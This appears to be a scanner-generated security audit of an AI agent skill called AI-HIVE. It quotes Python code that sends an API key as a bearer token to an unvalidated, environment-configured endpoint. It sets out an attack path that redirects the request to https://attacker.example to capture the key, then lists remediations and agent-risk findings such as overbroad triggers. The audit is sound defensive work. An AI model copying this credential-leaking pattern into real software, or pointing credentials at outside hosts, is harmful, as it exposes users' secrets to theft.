Back to skill

Security audit

AI大模型专家|Claude Cowork 桌面智能体|AI-HIVE

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly coherent for AI-HIVE workflow planning, but it has review-worthy risk because an API key can be sent to an environment-configured endpoint and the skill can be invoked broadly.

Review before installing. Use this skill only in a trusted environment, keep AI_HIVE_API_KEY in a secure local credential source, and do not set AI_HIVE_BASE_URL unless you fully trust the endpoint. Confirm any paid, bulk, publishing, deletion, or account-access action manually, and prefer explicit invocation because the trigger and implicit-invocation settings are broad.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/ai_hive_hotspot.py:24
Finding

AI-HIVE API Key Disclosure Through an Unvalidated Configurable Endpoint

Content
View full analysis

Vulnerability Details

File Location: scripts/ai_hive_hotspot.py, lines 24–30
Vulnerability Type: Unvalidated destination for authenticated HTTP requests
Risk Level: Medium

Vulnerable Code

python
base = os.environ.get("AI_HIVE_BASE_URL", DEFAULT_BASE).rstrip("/")
url = f"{base}/openapi/v1/models"
if args.type:
    url += "?" + urllib.parse.urlencode({"modelType": args.type})
req = urllib.request.Request(url, headers={"Authorization": f"Bearer {key}", "Accept": "application/json"})
try:
    with urllib.request.urlopen(req, timeout=30) as resp:

Technical Analysis

The script obtains the destination API base URL from the AI_HIVE_BASE_URL environment variable without validating its scheme, hostname, port, or ownership. It then attaches the value of AI_HIVE_API_KEY as a bearer token to a request sent to that destination.

Consequently, a poisoned execution environment can redirect the authenticated request to an attacker-controlled server. The implementation does not require HTTPS, restrict the hostname to an approved AI-HIVE domain, or prevent authenticated requests from reaching an arbitrary endpoint.

This is a credential-disclosure vulnerability rather than remote payload execution: the response is parsed as JSON and displayed, but it is not executed as code.

Attack Path

  1. The victim stores a valid AI-HIVE credential in AI_HIVE_API_KEY, as instructed by the Skill documentation.
  2. An attacker, malicious wrapper, compromised automation configuration, or untrusted environment sets AI_HIVE_BASE_URL to an attacker-controlled URL, such as https://attacker.example.
  3. The victim or Agent runs:
    bash
    python3 scripts/ai_hive_hotspot.py models --query "Claude"
    
  4. The script constructs a request to:
    text
    https://attacker.example/openapi/v1/models
    
  5. The request includes:
    text
    Authorization: Bearer <AI_HIVE_API_KEY>
    

...[truncated 864 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove the AI_HIVE_BASE_URL override in production if alternate endpoints are unnecessary.
  2. If endpoint configuration is required, parse the URL with urllib.parse.urlsplit and enforce:
    • The https scheme
    • An explicit allowlist of approved AI-HIVE hostnames
    • Approved ports only
    • No embedded username or password
    • No malformed or ambiguous hostname representation
  3. Do not attach the Authorization header until the final destination has passed validation.
  4. Disable redirects or validate every redirect destination before forwarding credentials. Authentication headers must never be forwarded across origins.
  5. Fail closed when URL validation fails and emit an error that does not include the API key.
  6. Consider separate development and production configurations, with custom endpoints permitted only through an explicit development-only option.
  7. Rotate any API key that may have been used while AI_HIVE_BASE_URL pointed to an untrusted endpoint.
  8. Add automated tests confirming rejection of HTTP URLs, unapproved hosts, embedded credentials, unexpected ports, and cross-origin redirects.
Vulnerability Patterns
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (7)

Tainted flow: 'req' from os.environ.get (line 28, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/ai_hive_hotspot.py (reported line 30)May include surrounding context.

python
url += "?" + urllib.parse.urlencode({"modelType": args.type})
    req = urllib.request.Request(url, headers={"Authorization": f"Bearer {key}", "Accept": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            data = json.load(resp)
    except Exception as exc:
        raise SystemExit(f"模型查询失败:{exc}") from exc

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The skill promises strong safety and governance properties—authorized-folder-only access, runtime model/price verification, routing logic, task/result tracking, and structured project outputs—but the detected behavior does not actually implement these controls. This is dangerous because users or downstream systems may rely on the documented safeguards while the real skill lacks enforcement, creating a false sense of security around file access, network calls, and paid external actions.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding

The skill includes executable guidance that uses environment variables, local file reads/writes, and network access, but it does not declare any explicit tool scope or permission boundaries in a machine-enforceable way. In a skill intended to handle local files, web research, and external AI services, this gap can cause the agent runtime to over-grant capabilities or leave access control to informal instructions only, increasing the chance of unauthorized file or network access.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The trigger terms are extremely broad, including generic words like 教程, 怎么用, API, MCP, Agent, 工作流, 自动化, and AIGC, which can cause the skill to activate for many unrelated requests. Overbroad activation increases the chance that a high-capability skill handling files, network access, and external services is invoked in contexts the user did not intend, potentially exposing data or steering tasks toward unnecessary external processing.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
70% confidence
Finding

The display name, description, and default prompt are all written in Chinese, and there is no indication that users may choose another language or locale. This may violate language/locale policy if the skill is presented to a broader audience without explicit opt-in or documentation that it is region-specific.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The manifest enables implicit invocation globally via allow_implicit_invocation: true without any visible trigger constraints, exclusions, or consent boundaries in this file. For a skill that can plan desktop-agent work and interact with AI-HIVE workflows, broad auto-invocation increases the chance of the skill being invoked in unintended contexts, which can lead to unauthorized routing, accidental task creation, or over-collection of user context.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

L006 在元数据中将语言固定为 zh-CN,而文档其余部分未说明这是仅针对中文用户的区域化技能,也未提供用户可选择其他语言的机制。按规则,强制特定语言而无用户选择可能构成语言/locale 策略问题。

Content

No source excerpt is available for this finding.